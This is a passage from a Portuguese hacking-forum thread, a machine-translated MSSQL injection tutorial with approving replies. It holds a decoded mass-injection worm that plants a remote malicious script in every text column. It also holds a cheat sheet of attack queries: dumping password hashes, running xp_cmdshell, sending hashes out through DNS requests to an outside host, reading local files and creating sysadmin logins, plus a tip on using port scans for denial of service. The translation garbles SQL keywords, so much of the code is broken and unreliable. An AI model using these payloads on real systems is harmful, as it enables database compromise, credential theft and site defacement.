    " Provedor OLE DB ' sqloledb ' relatou um erro . O provedor não forneceu nenhuma informação sobre o erro. "

    Esta técnica , vamos ser capazes de mapear as portas abertas nos endereços IP dos hosts da rede interna ( w00t !)

    Nota ** **
    Esta técnica pode usar para Denial of Service ( DoS) . Basta mudar a porta para alguns porta , tais como: FTP ( 21) , e alterar limite muito alto (500) .
    É fazer muitas ligações para direcionar sobre o serviço de FTP ( porta 21 )

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x04c ] - Massa Worms injeção MSSQL
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Recentemente, nos deparamos com um tipo particularmente interessante de SQL Injection que, às vezes , pode ser muito difícil de limpar,
    mesmo com o mais robusto de backup de banco de dados e sistema de recuperação. Este ataque é efectuado com a ajuda de um robô Internet ? Também
    conhecido como malbot ? que ataca suas perspectivas diária. É provável que uma tal malbot dispara a série de tentativas de injecção continuamente
    e condicionalmente até que as referências de script maliciosos são detectados nas páginas web específicas. Não há nada de novo no caminho que
    o seguinte T -SQL é injetado. No entanto , a natureza genérica do roteiro é um tanto interessante para ver.

    [ Sqli verme ] ---------------------------------------------- -----------------------------------

    [End sqli ] ---------------------------------------------- ------------------------------------

    Quando decodificar este Código sqli com Hex:

    [ Sqli Decoded ] ---------------------------------------------- --------------------------------

    DECLARE @ T VARCHAR ( 255)
    DECLARE @ C VARCHAR ( 255)

    DECLARE CURSOR PARA Table_Cursor
    SELECT [ A] . [Nome] , [B]. [Nome]
    DE sysobjects AS [A], syscolumns AS [ B]
    WHERE [ A] . [ID ] = [B]. [ID ] E

    [A]. [ Xtype ] = 'U' / * Table ( definido pelo usuário) * / E
    ( [B]. [ Xtype ] = 99 / * ntext * / OR
    [B]. [ Xtype ] = 35 / * Texto * / OR
    [B]. [ Xtype ] = 231 / * SYSNAME * / OR
    [B]. [ Xtype ] = 167 / * VARCHAR * / )

    Table_Cursor ABERTO
    FETCH NEXT DE Table_Cursor INTO @ T , @ C

    WHILE ( @ @ FETCH_STATUS = 0)

    BEGIN
    EXEC (' update [ ' + @ T + '] SET [ ' + @ C + '] = RTRIM ( CONVERT ( VARCHAR , [' + @ C + '] ) ) +'' script < src = "http:// Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... / k.js "> < / script> '' ' )
    FETCH NEXT DE Table_Cursor INTO @ T , @ C
    END

    Table_Cursor FECHAR
    DEALLOCATE Table_Cursor


    [End sqli ] ---------------------------------------------- ------------------------------------

    O que acontece como resultado? Ele encontra todos os campos de texto no banco de dados e adiciona um link para javascript malicioso
    <script src="http://www.fengnima.cn/k.js"> </ script> a cada um deles que irá fazer o seu site exibi-los automaticamente.
    Então, basicamente o que aconteceu foi que os atacantes olhou para páginas ASP ou ASPX que contenham qualquer tipo de querystring ( um valor dinâmico, como
    um ID do artigo, ID do produto, etc) parâmetro e tentou usá-lo para fazer upload de seu código de injeção SQL.

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x05 ] - MSSQL Cheat Sheet Injection
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

    ** Algumas das consultas na tabela a seguir só pode ser executado por um administrador (SA Privilege ) .
    Estes foram marcados com " - priv " no final da consulta. **

    + --------------- + --------------------------------- ------------------------------------------ +
    | Versão | SELECT @ @ version |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Comentários | SELEÇÃO 1 - comentário |
    | | SELEÇÃO / * comentário * / 1 |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | User_name SELECT ( ); |
    | | SELEÇÃO SYSTEM_USER ; |
    | Usuário Atual | usuário selecionar; |
    | | SELEÇÃO DE loginame master .. sysprocesses ONDE spid = @ @ SPID |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Lista de Usuários | SELECT nome FROM master .. syslogins |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | MSSQL2000 : SELECT nome, senha FROM master .. sysxlogins - priv |
    | | |
    | | SELECT nome, master.dbo.fn_varbintohexstr (password) |
    | | DE master .. sysxlogins - priv |
    | Lista de Senha | |
    | Hashes | MSSQL2005 : SELECT nome, password_hash DE |
    | | Master.sys.sql_logins - priv |
    | | |
    | | SELECT nome + '- ' + |
    | | Master.sys.fn_varbintohexstr ( password_hash ) |
    | | DE master.sys.sql_logins - priv |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | SELEÇÃO IS_SRVROLEMEMBER (' sysadmin '); - é a sua conta de um administrador de sistemas ? |
    | | Retorna 1 para verdadeiro , 0 para falso , NULL para o papel inválido. |
    | | Também tente ' bulkadmin ', ' systemadmin ' e outros valores. |
    | Lista de DBA | |
    | Contas | |
    | | SELEÇÃO IS_SRVROLEMEMBER (' sysadmin ', ' sa' ); - SA é um sysadmin ? |
    | | Return 1 para verdadeiro , 0 para falso , NULL para inválido papel / username . |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Current DB | DB_NAME SELECT ( ) |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Lista | SELECT nome FROM master .. sysdatabases ; |
    | Banco de Dados | SELEÇÃO DB_NAME (N ); - para N = 0 , 1, 2, ... |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | SELECT nome FROM syscolumns WHERE id = (id SELECT FROM sysobjects ONDE |
    | | Name = ' minhatabela '); - para o DB atual só |
    | | |
    | Lista de Colunas | SELEÇÃO master .. syscolumns.name , TYPE_NAME ( . Master. syscolumns.xtype ) FROM |
    | | Master .. syscolumns , master .. sysobjects ONDE |
    | | Master .. syscolumns.id = master .. sysobjects.id E |
    | | Master .. sysobjects.name = ' sometable '; - nomes colum lista |
    | | E tipos de mestre .. SomeTable |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | SELECT nome FROM master .. sysobjects ONDE xtype = 'U' ; |
    | | (Uso xtype = 'V' para views) |
    | | SELECT nome FROM sysobjects someotherdb .. ONDE xtype = 'U' ; |
    | | |
    | Lista de Tabelas | SELEÇÃO master .. syscolumns.name , TYPE_NAME ( master. syscolumns.xtype . ) |
    | | Do mestre .. syscolumns , mestre .. sysobjects ONDE |
    | | Master .. syscolumns.id = master .. sysobjects.id E |
    | | Master .. sysobjects.name = ' sometable », - os nomes das colunas da lista e tipos |
    | | Para master .. sometable |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | - Nota: Este exemplo funciona apenas para o banco de dados atual . |
    | | Se você querer procurar outro db , você precisa especificar o nome do db |
    | Encontre Tabelas | (por exemplo sysobject replace com mydb .. sysobjects ) . |
    | De | |
    | Nome da Coluna | sysobjects.name SELECT como nometabela , syscolumns.name como columnname |
    | | DE sysobjects Cadastre syscolumns SOBRE sysobjects.id = syscolumns.id |
    | | ONDE sysobjects.xtype = 'U ' AND syscolumns.name LIKE ' % SENHA %' - |
    | | Esta tabela lista , a coluna para cada coluna que contém a palavra 'password' |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Selecione | SELECT TOP 1 name FROM ( SELECT TOP 9 nome do mestre .. syslogins |
    | Nth Row | ORDER BY nome ASC ) sq ORDER BY nome DESC - recebe 9 ª linha |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Select Nth Char | substring SELECT ( 'abcd' , 3, 1 ) - retorna c |
    | --------------- | --------------------------------- ------------------------------------------ |
    | AND bit a bit | selecionar 6 & 2 - retorna 2 |
    | | Selecionar 6 & 1 - retorna 0 |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Valor ASCII | SELEÇÃO char ( 0x41 ) - Retorna uma |
    | -> Char | |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Char -> ASCII | SELEÇÃO ascii ('A' ) - retorna 65 |
    | Valor | |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Fundição | SELECT CAST ('1 ' como int); |
    | | SELECT CAST (1 como char) |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Cordas | SELECT ' A' + 'B' - retorna AB |
    | Concatenação | |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Se Statement | IF ( 1 = 1) Selecione um ELSE SELECT 2 - retorna 1 |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Declaração de Caso | SELECT CASE WHEN 1 = 1 THEN 1 ELSE 2 END - retorna 1 |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Evitar Cotações | SELEÇÃO char ( 65) + char ( 66 ) - retorna AB |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Time Delay | waitfor delay '0 : 00:05 '- pausar por 5 segundos |
    | --------------- | --------------------------------- ------------------------------------------ |
    | | Declarar @ host varchar ( 800) ; select @ host = nome do mestre .. syslogins ; |
    | | Exec ( ' master .. xp_getfiledetails '' \ \' + @ host + ' \ c $ \ boot.ini ''' ); |
    | | - Nonpriv , funciona em 2000 |
    | | |
    | | Declarar @ host varchar ( 800) ; select @ host = nome + '- ' + |
    | Fazer | master.sys.fn_varbintohexstr ( password_hash ) + '. 0,2 pentestmonkey.net ' |
    | Pedidos de DNS | de sys.sql_logins ; exec (' xp_fileexist '' \ \' + @ host + ' \ c $ \ boot.ini ''' ); |
    | | - Priv, funciona em 2005 |
    | | |
    | | - NB: A concatenação não é permitido em chamadas para estes SPs , daí porque nós |
    | | Tem que usar @ host . Confuso, mas necessário. |
    | | - Verifique também para fora theDNS característica túnel de sqlninja |
    | --------------- | --------------------------------- ------------------------------------------ |
    ' Net user ' EXEC xp_cmdshell | | Command ; - priv |
    | Execução | |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Local | CREATE TABLE meusdados ( linha varchar ( 8000) ); |
    | File Access | BULK ENVIE meusdados FROM ' c: \ boot.ini " ; |
    | | DROP TABLE meusdados ; |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Hostname , IP | HOST_NAME SELECT ( ) |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Criar usuários | 'user' EXEC sp_addlogin , ' passar '; - priv |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Gota Usuários | 'user' EXEC sp_droplogin ; - priv |
    | --------------- | --------------------------------- ------------------------------------------ |
    | Faça Usuário DBA | EXEC master.dbo.sp_addsrvrolemember 'user ', ' sysadmin ; - priv |
    + --------------- + --------------------------------- ------------------------------------------ +

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x06 ] - SQL Injection Contramedidas
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

    A principal causa da vulnerabilidade de injeção SQL é a validação de entrada. Muitos desenvolvedores web não fornecem
    mecanismo adequado , a fim de higienizar qualquer tipo de entrada. Assim , os atacantes aproveitar este ponto e acesso
    a várias bases de dados . Existem soluções para evitar a vulnerabilidade de injeção SQL.

    - Use a entrada whilelist : porque não podemos saber tudo de entradas ruins, então a maneira eficiente é permitir que apenas a nossa entrada conhecida , válida
    - Verifique o tipo de entrada : em alguns casos , os atacantes injetar corda no campo de entrada numérica ou injetar numérico no campo de entrada string,
    estes podem causar vulnerabilidade de injeção SQL
    - Escape metacharacters banco de dados: use / para escapar metacharacters de banco de dados , antecedendo / em frente metacharaters .
    - Não ignore quaisquer formas de entrada : os atacantes podem manipular entrada para explorar vulnerabilidades de SQL , então você não deve se preocupar apenas string de consulta , mas também cabeçalhos ,
    cookies e campos de formulário , bem
    - Usar consultas parametrizadas : MSSQL fornece API para lidar com entradas que podem nos ajudar a evitar a injeção de SQL.
    Este mecanismo é chamado de " consultas parametrizadas " .

    As duas amostras de código que se seguem ilustram a diferença entre uma consulta inseguro dinamicamente construído fora
    dados do usuário, e sua contraparte parametrizado segura.

    Na primeira , o parâmetro nome fornecido pelo usuário é embeded diretamente em uma instrução SQL , deixando o
    aplicação vulnerável a injeção de SQL:

    / / define a estrutura de consulta
    corda queryText = "select ename , sak de emp onde ename = ' ";

    / / concatenar o nome fornecido pelo usuário
    queryText + = request.getParameter ("nome ");
    queryText + = " ";


    / / executar a consulta
    stmt = con.createStatement ();
    rs = stmt.executeQuery ( queryText );


    No segundo exemplo , a estrutura da consulta é definida usando um ponto de interrogação como um espaço reservado
    para o parâmetro fornecido pelo usuário . O método prepareStatement é chamado para interpretar esta , e corrigir a estrutura
    da consulta que é para ser executado. Só então é que o método setString usado para especificar o valor real
    o parâmetro. Como a estrutura da consulta já foi fixado , este valor pode conter quaisquer dados ,
    sem afetar a estrutura . A consulta é executada de forma segura :

    / / define a estrutura de consulta
    Cordas queryText = "select ename, sal from emp where = ename?";


    / / preparar a declaração por meio de conexão DB "con"
    stmt = con.prepareStatement (queryText);

    / / adiciona a entrada do usuário para uma variável (no primeiro? espaço reservado)
    stmt.setSting (1, request.getParameter ("nome"));

    / / executar a consulta
    rs = stmt.executeQuery ();


    # # # # # # # # # # # # # # # # # # # # #
    [0x07] - Referências
    # # # # # # # # # # # # # # # # # # # # #

    ##Creditos:
    Title : Full MSSQL Injection PWNage
    Author : ZeQ3uL && JabAv0C
    Team : CWH Underground [Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Website : cwh.citec.us / Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Date : 2009-01-28
    ################################################## ###############
    # Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK #
    ################################################## ###############

    Last edited by Bruno_menor; 11-12-2013, 00:24.

    O Único modo de Evitar Erros é Adquirindo Experiência. No Entando a única Maneira de Adquirir Experiência é cometendo Erros.
    Napoleão Bonaparti
    sigpic




    Skype: JoasRock
    Similar Threads

  • Font Size
    #2
    Simplesmente incrível, fixado!
    .

    - PHP & VB C0d3r.

    Nickguitar.dll@hotmail.com

    http://www.youtube.com/user/superskate56 <~ Hacking tuts =)

    Quando aprendemos a ouvir, também aprendemos a falar..
    Quando aprendemos a ler, também aprendemos a escrever.
    Então, quando aprendemos a usar um computador, por que não aprender a programa-lo ?


    I'm C0ding for $$$

    #~: Just $this :~#

    Comment


    • Font Size
      #3
      ;D

      Postado Originalmente por Nickguitar.dll Ver Post
      Simplesmente incrível, fixado!
      Obrigado Nickguitar por Fixar este Tópico
      Certamente irá ajudar muito os membros que querem apreender outros metodos
      além do conheçido SQL Injection que o Mssql é muito parecido com o SQL...
      att.

      O Único modo de Evitar Erros é Adquirindo Experiência. No Entando a única Maneira de Adquirir Experiência é cometendo Erros.
      Napoleão Bonaparti
      sigpic




      Skype: JoasRock

      Comment


      • Font Size
        #4
        krl brow, que empenho de escrever tudo na mão! Muito bom?

        Comment


        • Font Size
          #5
          Aguardem Admins Voltamos , e Ainda Piores
          sigpic

          Comment


          • Font Size
            #6
            ;D

            Postado Originalmente por Alternative Ver Post
            Aguardem Admins Voltamos , e Ainda Piores
            EviL Own'z

            O Único modo de Evitar Erros é Adquirindo Experiência. No Entando a única Maneira de Adquirir Experiência é cometendo Erros.
            Napoleão Bonaparti
            sigpic




            Skype: JoasRock

            Comment


            • Font Size
              #7
              nice

              Cara não tem Palavras..
              Super Otimo seu Tutorial to estudando ele aqui.
              Thx

              Comment


              • Font Size
                #8
                Postado Originalmente por Owned Brazilian Ver Post
                Cara não tem Palavras..
                Super Otimo seu Tutorial to estudando ele aqui.
                Thx

                vlw man pela força é sempre bom ter pessoas
                que gostam do que você faz

                O Único modo de Evitar Erros é Adquirindo Experiência. No Entando a única Maneira de Adquirir Experiência é cometendo Erros.
                Napoleão Bonaparti
                sigpic




                Skype: JoasRock

                Comment


                • Font Size
                  #9
                  Top!

                  Obrigado por postar um conteúdo tão rico em informações, show de bola já imprimi e estou resumindo para melhor estudar.

                  Sensacional!

                  Comment


                  • Font Size
                    #10
                    Novamente, só traduziu usando o google tradutor.Os créditos deveriam refletir isso (a retificação atual é inconsistente).
                    Material original: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

                    Comment


                    • Font Size
                      #11
                      Alias, poderia pelo menos ter corrigido os erros -básicos- de tradução.

                      Comment


                      • Font Size
                        #12
                        Muito bom...bem completo
                        Mandou bem parabéns




                        vlw
                        sigpic
                        " O bom hacker todos conhecem e sabem quem é, mas o excelente hacker... esse nunca saberemos quem um dia foi."
                        Nova lei - Invadir computadores protegidos é crime.
                        Lógica - Se eu invadi, não é protegido. Logo, não é crime

                        Comment


                        • Font Size
                          #13
                          Maneiro, cara! Obrigado pela boa vontade!
                          Sorry, Admin. That's all your fault...

                          Comment


                          • Font Size
                            #14
                            wow, muito bom meu caro amigo. obrigado.

                            Comment


                            • Font Size
                              #15
                              perfeito, amigo.

                              Comment

                              X
                              Working...
                              X